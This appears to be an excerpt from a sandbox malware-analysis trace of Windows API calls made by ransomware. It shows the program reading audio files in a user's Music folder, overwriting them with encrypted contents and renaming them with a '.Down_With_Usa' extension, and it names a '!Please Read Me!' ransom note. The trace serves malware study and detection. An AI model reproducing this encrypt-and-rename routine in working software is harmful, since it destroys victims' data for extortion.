[0121.560] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a5bf230, ftCreationTime.dwHighDateTime=0x1d5df36, ftLastAccessTime.dwLowDateTime=0xdd9bcd80, ftLastAccessTime.dwHighDateTime=0x1d5e1c5, ftLastWriteTime.dwLowDateTime=0xdd9bcd80, ftLastWriteTime.dwHighDateTime=0x1d5e1c5, nFileSizeHigh=0x0, nFileSizeLow=0xef15, dwReserved0=0x0, dwReserved1=0x0, cFileName="zNaDJ8.m4a", cAlternateFileName="")) returned 1
[0121.560] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eacf0 | out: lpFindFileData=0x2eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a5bf230, ftCreationTime.dwHighDateTime=0x1d5df36, ftLastAccessTime.dwLowDateTime=0xdd9bcd80, ftLastAccessTime.dwHighDateTime=0x1d5e1c5, ftLastWriteTime.dwLowDateTime=0xdd9bcd80, ftLastWriteTime.dwHighDateTime=0x1d5e1c5, nFileSizeHigh=0x0, nFileSizeLow=0xef15, dwReserved0=0x0, dwReserved1=0x0, cFileName="zNaDJ8.m4a", cAlternateFileName="")) returned 0
[0121.560] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0121.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf50) returned 1
[0121.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eaf10) returned 1
[0121.561] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\io Ck0TfxJUK.wav", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\io Ck0TfxJUK.wav", lpFilePart=0x0) returned 0x5d
[0121.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0121.561] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\io Ck0TfxJUK.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\io ck0tfxjuk.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.561] GetFileType (hFile=0x3a8) returned 0x1
[0121.561] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0121.561] GetFileType (hFile=0x3a8) returned 0x1
[0121.561] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0xa88f
[0121.562] ReadFile (in: hFile=0x3a8, lpBuffer=0x26afee0, nNumberOfBytesToRead=0xa88f, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x26afee0*, lpNumberOfBytesRead=0x2eadd8*=0xa88f, lpOverlapped=0x0) returned 1
[0121.563] CloseHandle (hObject=0x3a8) returned 1
[0121.591] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\io Ck0TfxJUK.wav", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\io Ck0TfxJUK.wav", lpFilePart=0x0) returned 0x5d
[0121.591] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0121.592] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\io Ck0TfxJUK.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\io ck0tfxjuk.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.593] GetFileType (hFile=0x3a8) returned 0x1
[0121.593] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0121.593] GetFileType (hFile=0x3a8) returned 0x1
[0121.593] WriteFile (in: hFile=0x3a8, lpBuffer=0x27bb168*, nNumberOfBytesToWrite=0xa890, lpNumberOfBytesWritten=0x2eae48, lpOverlapped=0x0 | out: lpBuffer=0x27bb168*, lpNumberOfBytesWritten=0x2eae48*=0xa890, lpOverlapped=0x0) returned 1
[0121.596] CloseHandle (hObject=0x3a8) returned 1
[0121.600] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\io Ck0TfxJUK.wav", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\io Ck0TfxJUK.wav", lpFilePart=0x0) returned 0x5d
[0121.600] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\io Ck0TfxJUK.wav.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\io Ck0TfxJUK.wav.Down_With_Usa", lpFilePart=0x0) returned 0x6b
[0121.600] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0121.600] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\io Ck0TfxJUK.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\io ck0tfxjuk.wav"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd966ab0, ftCreationTime.dwHighDateTime=0x1d5dbb6, ftLastAccessTime.dwLowDateTime=0x2569890, ftLastAccessTime.dwHighDateTime=0x1d5e7c9, ftLastWriteTime.dwLowDateTime=0x24efdde0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xa890)) returned 1
[0121.600] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0121.600] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\io Ck0TfxJUK.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\io ck0tfxjuk.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\io Ck0TfxJUK.wav.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\io ck0tfxjuk.wav.down_with_usa")) returned 1
[0121.601] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\jhQacl9K339Th3uUH0i.mp3", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\jhQacl9K339Th3uUH0i.mp3", lpFilePart=0x0) returned 0x64
[0121.601] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0121.601] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\jhQacl9K339Th3uUH0i.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\jhqacl9k339th3uuh0i.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.601] GetFileType (hFile=0x3a8) returned 0x1
[0121.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0121.602] GetFileType (hFile=0x3a8) returned 0x1
[0121.602] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0xebc1
[0121.602] ReadFile (in: hFile=0x3a8, lpBuffer=0x27c6140, nNumberOfBytesToRead=0xebc1, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x27c6140*, lpNumberOfBytesRead=0x2eadd8*=0xebc1, lpOverlapped=0x0) returned 1
[0121.605] CloseHandle (hObject=0x3a8) returned 1
[0121.636] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\jhQacl9K339Th3uUH0i.mp3", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\jhQacl9K339Th3uUH0i.mp3", lpFilePart=0x0) returned 0x64
[0121.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0121.636] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\jhQacl9K339Th3uUH0i.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\jhqacl9k339th3uuh0i.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.640] GetFileType (hFile=0x3a8) returned 0x1
[0121.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0121.640] GetFileType (hFile=0x3a8) returned 0x1
[0121.640] WriteFile (in: hFile=0x3a8, lpBuffer=0x26e2ce0*, nNumberOfBytesToWrite=0xebd0, lpNumberOfBytesWritten=0x2eae48, lpOverlapped=0x0 | out: lpBuffer=0x26e2ce0*, lpNumberOfBytesWritten=0x2eae48*=0xebd0, lpOverlapped=0x0) returned 1
[0121.644] CloseHandle (hObject=0x3a8) returned 1
[0121.646] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\jhQacl9K339Th3uUH0i.mp3", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\jhQacl9K339Th3uUH0i.mp3", lpFilePart=0x0) returned 0x64
[0121.646] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\jhQacl9K339Th3uUH0i.mp3.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\jhQacl9K339Th3uUH0i.mp3.Down_With_Usa", lpFilePart=0x0) returned 0x72
[0121.646] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0121.646] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\jhQacl9K339Th3uUH0i.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\jhqacl9k339th3uuh0i.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb03b1150, ftCreationTime.dwHighDateTime=0x1d5e4f1, ftLastAccessTime.dwLowDateTime=0x8503c770, ftLastAccessTime.dwHighDateTime=0x1d5db7d, ftLastWriteTime.dwLowDateTime=0x24f70200, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0xebd0)) returned 1
[0121.647] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0121.647] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\jhQacl9K339Th3uUH0i.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\jhqacl9k339th3uuh0i.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\jhQacl9K339Th3uUH0i.mp3.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\jhqacl9k339th3uuh0i.mp3.down_with_usa")) returned 1
[0121.648] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\Luvqq.mp3", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\Luvqq.mp3", lpFilePart=0x0) returned 0x56
[0121.648] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0121.648] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\Luvqq.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\luvqq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.648] GetFileType (hFile=0x3a8) returned 0x1
[0121.648] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0121.649] GetFileType (hFile=0x3a8) returned 0x1
[0121.649] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0x4ff3
[0121.649] ReadFile (in: hFile=0x3a8, lpBuffer=0x26f1fe8, nNumberOfBytesToRead=0x4ff3, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x26f1fe8*, lpNumberOfBytesRead=0x2eadd8*=0x4ff3, lpOverlapped=0x0) returned 1
[0121.650] CloseHandle (hObject=0x3a8) returned 1
[0121.674] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\Luvqq.mp3", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\Luvqq.mp3", lpFilePart=0x0) returned 0x56
[0121.674] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0121.674] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\Luvqq.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\luvqq.mp3"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.675] GetFileType (hFile=0x3a8) returned 0x1
[0121.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0121.676] GetFileType (hFile=0x3a8) returned 0x1
[0121.676] WriteFile (in: hFile=0x3a8, lpBuffer=0x27f68b8*, nNumberOfBytesToWrite=0x5000, lpNumberOfBytesWritten=0x2eae48, lpOverlapped=0x0 | out: lpBuffer=0x27f68b8*, lpNumberOfBytesWritten=0x2eae48*=0x5000, lpOverlapped=0x0) returned 1
[0121.678] CloseHandle (hObject=0x3a8) returned 1
[0121.679] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\Luvqq.mp3", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\Luvqq.mp3", lpFilePart=0x0) returned 0x56
[0121.679] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\Luvqq.mp3.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\Luvqq.mp3.Down_With_Usa", lpFilePart=0x0) returned 0x64
[0121.680] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0121.680] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\Luvqq.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\luvqq.mp3"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a54c90, ftCreationTime.dwHighDateTime=0x1d5dcd9, ftLastAccessTime.dwLowDateTime=0x69e0be50, ftLastAccessTime.dwHighDateTime=0x1d5e346, ftLastWriteTime.dwLowDateTime=0x24fbc4c0, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x5000)) returned 1
[0121.680] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0121.680] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\Luvqq.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\luvqq.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\Luvqq.mp3.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\luvqq.mp3.down_with_usa")) returned 1
[0121.681] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\v kOWE9UgObEX4.wav", nBufferLength=0x105, lpBuffer=0x2ea830, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\v kOWE9UgObEX4.wav", lpFilePart=0x0) returned 0x5f
[0121.681] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead10) returned 1
[0121.681] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\v kOWE9UgObEX4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\v kowe9ugobex4.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.681] GetFileType (hFile=0x3a8) returned 0x1
[0121.681] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac80) returned 1
[0121.681] GetFileType (hFile=0x3a8) returned 0x1
[0121.681] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eaea8 | out: lpFileSizeHigh=0x2eaea8*=0x0) returned 0x1146d
[0121.681] ReadFile (in: hFile=0x3a8, lpBuffer=0x27fbf88, nNumberOfBytesToRead=0x1146d, lpNumberOfBytesRead=0x2eadd8, lpOverlapped=0x0 | out: lpBuffer=0x27fbf88*, lpNumberOfBytesRead=0x2eadd8*=0x1146d, lpOverlapped=0x0) returned 1
[0121.685] CloseHandle (hObject=0x3a8) returned 1
[0121.750] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\v kOWE9UgObEX4.wav", nBufferLength=0x105, lpBuffer=0x2ea840, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\v kOWE9UgObEX4.wav", lpFilePart=0x0) returned 0x5f
[0121.750] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ead20) returned 1
[0121.751] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\v kOWE9UgObEX4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\v kowe9ugobex4.wav"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0121.753] GetFileType (hFile=0x3a8) returned 0x1
[0121.753] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eac90) returned 1
[0121.753] GetFileType (hFile=0x3a8) returned 0x1
[0121.753] WriteFile (in: hFile=0x3a8, lpBuffer=0x271dba0*, nNumberOfBytesToWrite=0x11470, lpNumberOfBytesWritten=0x2eae48, lpOverlapped=0x0 | out: lpBuffer=0x271dba0*, lpNumberOfBytesWritten=0x2eae48*=0x11470, lpOverlapped=0x0) returned 1
[0121.755] CloseHandle (hObject=0x3a8) returned 1
[0121.772] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\v kOWE9UgObEX4.wav", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\v kOWE9UgObEX4.wav", lpFilePart=0x0) returned 0x5f
[0121.772] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\v kOWE9UgObEX4.wav.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2ea9e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\v kOWE9UgObEX4.wav.Down_With_Usa", lpFilePart=0x0) returned 0x6d
[0121.772] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eae20) returned 1
[0121.772] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\v kOWE9UgObEX4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\v kowe9ugobex4.wav"), fInfoLevelId=0x0, lpFileInformation=0x2eaf00 | out: lpFileInformation=0x2eaf00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca9ab60, ftCreationTime.dwHighDateTime=0x1d5de00, ftLastAccessTime.dwLowDateTime=0xfdc39330, ftLastAccessTime.dwHighDateTime=0x1d5d933, ftLastWriteTime.dwLowDateTime=0x250a0d00, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x11470)) returned 1
[0121.772] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eade0) returned 1
[0121.772] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\v kOWE9UgObEX4.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\v kowe9ugobex4.wav"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\v kOWE9UgObEX4.wav.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\rd3ixcghmva\\g7gu05j0fsu2pci\\-gzsoruf3egm\\v kowe9ugobex4.wav.down_with_usa")) returned 1
[0121.773] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\!Please Read Me!.txt.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eaef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm\\!Please Read Me!.txt.Down_With_Usa", lpFilePart=0x0) returned 0x6f
[0121.773] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm", nBufferLength=0x105, lpBuffer=0x2eaf00, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\rd3ixcGHmVa\\g7gU05J0FSu2PCI\\-GzsoRuf3egm", lpFilePart=0x0) returned 0x4c
[0121.773] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb360) returned 1
